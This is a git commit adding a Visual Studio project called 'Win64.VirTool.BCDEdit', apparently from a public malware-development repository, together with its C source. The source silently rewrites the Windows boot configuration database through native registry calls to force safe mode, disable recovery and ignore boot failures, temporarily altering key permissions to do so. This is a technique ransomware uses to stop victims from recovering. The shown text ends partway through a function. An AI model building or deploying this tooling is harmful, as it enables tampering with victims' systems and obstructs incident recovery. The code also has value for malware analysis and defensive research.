Add files via upload
This commit is contained in:
parent
c1d3d83cd6
commit
6b5741ca4b
|
@ -0,0 +1,31 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31410.223
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win64.VirTool.BCDEdit", "Win64.VirTool.BCDEdit.vcxproj", "{D1412F61-E19B-4D53-94CA-BC381E47033A}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.Build.0 = Debug|x64
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.Build.0 = Debug|Win32
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.ActiveCfg = Release|x64
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.Build.0 = Release|x64
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B5203926-E601-4923-A8DA-D4CBE2ADCE2F}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,150 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{d1412f61-e19b-4d53-94ca-bc381e47033a}</ProjectGuid>
|
||||
<RootNamespace>Win64VirToolBCDEdit</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="bcdutil.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,19 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="bcdutil.h">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,4 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
|
@ -0,0 +1,497 @@
|
|||
/**
|
||||
* @file bcdutil.c
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
|
||||
* @details
|
||||
* @link https://github.com/am0nsec/vx
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#include "bcdutil.h"
|
||||
#include <Ole2.h>
|
||||
#include <aclapi.h>
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdGetDefaultBootObject(
|
||||
_Out_ PHKEY phWindowsBootMgrDefaultObj
|
||||
) {
|
||||
// 1. Open handle to HKLM
|
||||
HKEY hLocalMachine = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
L"\\Registry\\Machine",
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE | KEY_CREATE_SUB_KEY),
|
||||
NULL,
|
||||
&hLocalMachine
|
||||
));
|
||||
|
||||
// 2. Find the BCD sub key
|
||||
HKEY hBCD = INVALID_HANDLE_VALUE;
|
||||
LPWSTR wszBcdSubKeyFragment = NULL;
|
||||
DWORD dwzBcdSubKeyFragment = 0x00;
|
||||
EXIT_ON_ERROR(BcdpGetSubKeyByPattern(
|
||||
&hLocalMachine,
|
||||
L"BCD",
|
||||
(CONST DWORD)0x03,
|
||||
&wszBcdSubKeyFragment,
|
||||
&dwzBcdSubKeyFragment
|
||||
));
|
||||
|
||||
// 3. Open handle to the new BCD sub key
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
wszBcdSubKeyFragment,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hLocalMachine,
|
||||
&hBCD
|
||||
));
|
||||
HeapFree(GetProcessHeap(), 0x00, wszBcdSubKeyFragment);
|
||||
|
||||
// 4. Open handle to the new Objects sub key
|
||||
HKEY hBCDObjects = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
L"Objects",
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hBCD,
|
||||
&hBCDObjects
|
||||
));
|
||||
|
||||
// 5. Open handle to the Windows boot manager
|
||||
HKEY hWindowsBootMgr = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
GUID_WINDOWS_BOOTMGR,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hBCDObjects,
|
||||
&hWindowsBootMgr
|
||||
));
|
||||
|
||||
// 6. Open handle tot the Elements of the Windows boot manager
|
||||
HKEY hWindowsBootMgrElements = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
BCD_ELEMENTS,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hWindowsBootMgr,
|
||||
&hWindowsBootMgrElements
|
||||
));
|
||||
|
||||
// 7. Open an handle to the default object and get the value.
|
||||
HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hWindowsBootMgrElements,
|
||||
&hWindowsBootMgrDefaultObj
|
||||
));
|
||||
|
||||
// 8. Open an handle to the default boot object
|
||||
LPWSTR wszWindowsBootMgrDefaultObj = NULL;
|
||||
DWORD dwWindowsBootMgrDefaultObj = 0x00;
|
||||
EXIT_ON_ERROR(BcdpQueryValueByName(
|
||||
L"Element",
|
||||
&hWindowsBootMgrDefaultObj,
|
||||
REG_SZ,
|
||||
&wszWindowsBootMgrDefaultObj,
|
||||
&dwWindowsBootMgrDefaultObj
|
||||
));
|
||||
|
||||
// 9. Get the GUID of the default object
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
wszWindowsBootMgrDefaultObj,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hBCDObjects,
|
||||
phWindowsBootMgrDefaultObj
|
||||
));
|
||||
HeapFree(GetProcessHeap(), 0x00, wszWindowsBootMgrDefaultObj);
|
||||
|
||||
// Cleanup and return
|
||||
NtClose(hLocalMachine);
|
||||
NtClose(hBCD);
|
||||
NtClose(hBCDObjects);
|
||||
NtClose(hWindowsBootMgr);
|
||||
NtClose(hWindowsBootMgrElements);
|
||||
NtClose(hWindowsBootMgrDefaultObj);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdModifyBootConfiguration(
|
||||
_In_ CONST PHKEY phKey,
|
||||
_In_ CONST LPWSTR wszKey,
|
||||
_In_ LPVOID pData,
|
||||
_In_ ULONG ulData
|
||||
) {
|
||||
if (phKey == NULL || wszKey == NULL || pData == NULL || ulData == 0x00)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
|
||||
// 1. Check if key already exist otherwise create a new one
|
||||
HKEY hObject = INVALID_HANDLE_VALUE;
|
||||
NTSTATUS Status = BcdOpenKeyByName(
|
||||
wszKey,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
phKey,
|
||||
&hObject
|
||||
);
|
||||
if (Status == STATUS_OBJECT_NAME_NOT_FOUND) {
|
||||
// 1.1. Change the DACL to have write permissions
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
phKey,
|
||||
(KEY_CREATE_SUB_KEY | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
|
||||
));
|
||||
|
||||
// 1.2. Create the key
|
||||
RETURN_ON_ERROR(BcdpCreateKey(
|
||||
wszKey,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE),
|
||||
phKey,
|
||||
&hObject
|
||||
));
|
||||
|
||||
// 1.3. Revert the permissions
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
phKey,
|
||||
(KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
|
||||
));
|
||||
}
|
||||
|
||||
// 2. Allow set Windows registry value to the newly created key and open new key
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
&hObject,
|
||||
KEY_SET_VALUE | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
|
||||
));
|
||||
|
||||
NtClose(hObject);
|
||||
RETURN_ON_ERROR(BcdOpenKeyByName(
|
||||
wszKey,
|
||||
(KEY_SET_VALUE | READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
phKey,
|
||||
&hObject
|
||||
));
|
||||
|
||||
// 3. Set the value and change the DACLs to original value
|
||||
RETURN_ON_ERROR(BcdpSetValue(
|
||||
BCD_ELEMENT,
|
||||
&hObject,
|
||||
pData,
|
||||
ulData
|
||||
));
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
&hObject,
|
||||
KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
|
||||
));
|
||||
|
||||
// Cleanup and return
|
||||
NtClose(hObject);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdAcquireSyncMutant(
|
||||
_Out_ PHANDLE phHandle
|
||||
) {
|
||||
if (phHandle == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
|
||||
UNICODE_STRING MutantName = { 0x00 };
|
||||
RtlInitUnicodeString(&MutantName, L"\\KernelObjects\\BcdSyncMutant");
|
||||
|
||||
OBJECT_ATTRIBUTES MutantAttributes = { 0x00 };
|
||||
InitializeObjectAttributes(
|
||||
&MutantAttributes,
|
||||
&MutantName,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
0x00,
|
||||
0x00
|
||||
);
|
||||
|
||||
return NtOpenMutant(phHandle, 0x100000, &MutantAttributes, FALSE);
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdpGetSubKeyByPattern(
|
||||
_In_ CONST PHKEY phKey,
|
||||
_In_ CONST LPWSTR wszPattern,
|
||||
_In_ CONST DWORD dwPatternLength,
|
||||
_Out_ LPWSTR* wszSubKeyName,
|
||||
_Out_ PDWORD pdwSubKeyNameLength
|
||||
) {
|
||||
if (phKey == NULL
|
||||
|| wszPattern == NULL
|
||||
|| pdwSubKeyNameLength == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise variables and heap memory
|
||||
DWORD dwIndex = 0x00;
|
||||
ULONG ulBuffer = 0x100;
|
||||
PKEY_BASIC_INFORMATION BasicInformation = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
|
||||
|
||||
// Parse each entry one by one
|
||||
while (TRUE) {
|
||||
ULONG ulReturned = 0x00;
|
||||
Status = NtEnumerateKey(
|
||||
*phKey,
|
||||
dwIndex,
|
||||
KeyBasicInformation,
|
||||
(LPVOID)BasicInformation,
|
||||
ulBuffer,
|
||||
&ulReturned
|
||||
);
|
||||
|
||||
// Key not found
|
||||
if (Status == STATUS_NO_MORE_ENTRIES) {
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
break;
|
||||
}
|
||||
// Buffer not large enough to get the basic information
|
||||
else if (Status == STATUS_BUFFER_TOO_SMALL) {
|
||||
HeapReAlloc(GetProcessHeap(), 0x00, (LPVOID)BasicInformation, ulReturned);
|
||||
ulBuffer = ulReturned;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Checking if it is pattern
|
||||
if (_wcsnicmp(BasicInformation->Name, wszPattern, (SIZE_T)dwPatternLength) == 0x00) {
|
||||
*pdwSubKeyNameLength = BasicInformation->NameLength;
|
||||
*wszSubKeyName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BasicInformation->NameLength);
|
||||
|
||||
memcpy_s(
|
||||
*wszSubKeyName,
|
||||
BasicInformation->NameLength,
|
||||
BasicInformation->Name,
|
||||
BasicInformation->NameLength
|
||||
);
|
||||
Status = STATUS_SUCCESS;
|
||||
break;
|
||||
}
|
||||
|
||||
// Try next entry
|
||||
RtlZeroMemory(BasicInformation, ulReturned);
|
||||
dwIndex++;
|
||||
}
|
||||
|
||||
// Cleanup and exit
|
||||
HeapFree(GetProcessHeap(), 0x00, BasicInformation);
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdOpenKeyByName(
|
||||
_In_ CONST LPWSTR wszKeyName,
|
||||
_In_ ACCESS_MASK AccessMask,
|
||||
_In_ PHANDLE phDirectory,
|
||||
_Out_ PHKEY phKey
|
||||
) {
|
||||
if (wszKeyName == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszKeyName);
|
||||
|
||||
// Initialise the OBJECT_ATTRIBUTES
|
||||
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
|
||||
InitializeObjectAttributes(
|
||||
&ObjectAttributes,
|
||||
&ObjectName,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
0x00,
|
||||
0x00
|
||||
);
|
||||
if (phDirectory != NULL)
|
||||
ObjectAttributes.RootDirectory = *phDirectory;
|
||||
|
||||
// Try to open the key
|
||||
*phKey = INVALID_HANDLE_VALUE;
|
||||
Status = NtOpenKey(
|
||||
phKey,
|
||||
AccessMask,
|
||||
&ObjectAttributes
|
||||
);
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdpQueryValueByName(
|
||||
_In_ CONST LPWSTR wszValueName,
|
||||
_In_ PHKEY phKey,
|
||||
_In_ DWORD dwType,
|
||||
_Out_ LPVOID* ppData,
|
||||
_Out_ DWORD* pdwData
|
||||
) {
|
||||
if (wszValueName == NULL
|
||||
|| phKey == NULL
|
||||
|| ppData == NULL
|
||||
|| pdwData == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszValueName);
|
||||
|
||||
// Get buffer ready
|
||||
ULONG ulReturned = 0x00;
|
||||
ULONG ulBuffer = 0x100;
|
||||
PKEY_VALUE_PARTIAL_INFORMATION Information = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
|
||||
|
||||
// Get the value
|
||||
do {
|
||||
Status = NtQueryValueKey(
|
||||
*phKey,
|
||||
&ObjectName,
|
||||
KeyValuePartialInformation,
|
||||
(LPVOID)Information,
|
||||
ulBuffer,
|
||||
&ulReturned
|
||||
);
|
||||
|
||||
if (NT_SUCCESS(Status))
|
||||
break;
|
||||
|
||||
ulBuffer += 0x100;
|
||||
Information = HeapReAlloc(GetProcessHeap(), 0x00, Information, ulBuffer);
|
||||
} while (Status == STATUS_BUFFER_TOO_SMALL);
|
||||
|
||||
// Check the data type
|
||||
if (Information->Type != dwType) {
|
||||
HeapFree(GetProcessHeap(), 0x00, Information);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Allocate memory and copy data
|
||||
*ppData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Information->DataLength);
|
||||
memmove_s(*ppData, Information->DataLength, Information->Data, Information->DataLength);
|
||||
*pdwData = Information->DataLength;
|
||||
|
||||
// De-allocate memory and return
|
||||
HeapFree(GetProcessHeap(), 0x00, Information);
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_
|
||||
NTSTATUS BcdpCreateKey(
|
||||
_In_ CONST LPWSTR wszKeyName,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ PHANDLE phDirectory,
|
||||
_Out_ PHANDLE phKey
|
||||
) {
|
||||
if (wszKeyName == NULL || phKey == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszKeyName);
|
||||
|
||||
// Initialise the OBJECT_ATTRIBUTES
|
||||
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
|
||||
InitializeObjectAttributes(
|
||||
&ObjectAttributes,
|
||||
&ObjectName,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
0x00,
|
||||
0x00
|
||||
);
|
||||
if (phDirectory != NULL)
|
||||
ObjectAttributes.RootDirectory = *phDirectory;
|
||||
|
||||
// Create the key
|
||||
return NtCreateKey(
|
||||
phKey,
|
||||
DesiredAccess,
|
||||
&ObjectAttributes,
|
||||
0x00,
|
||||
NULL,
|
||||
REG_OPTION_NON_VOLATILE,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_
|
||||
NTSTATUS BcdpSetValue(
|
||||
_In_ CONST LPWSTR wszValue,
|
||||
_In_ PHANDLE phKey,
|
||||
_In_ PVOID pData,
|
||||
_In_ ULONG ulData
|
||||
) {
|
||||
if (wszValue == NULL || phKey == NULL || pData == NULL || ulData == 0x00)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszValue);
|
||||
|
||||
Status = NtSetValueKey(
|
||||
*phKey,
|
||||
&ObjectName,
|
||||
0x00,
|
||||
REG_BINARY,
|
||||
pData,
|
||||
ulData
|
||||
);
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_
|
||||
NTSTATUS BcdpChangeObjectPermission(
|
||||
_In_ CONST PHANDLE phKey,
|
||||
_In_ DWORD dwPrivileges
|
||||
) {
|
||||
if (phKey == NULL)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Get the SID of the local Administrators group
|
||||
PSID AdminSID = NULL;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
|
||||
if (!AllocateAndInitializeSid(
|
||||
&SIDAuthNT,
|
||||
0x02,
|
||||
SECURITY_BUILTIN_DOMAIN_RID,
|
||||
DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&AdminSID
|
||||
)) {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
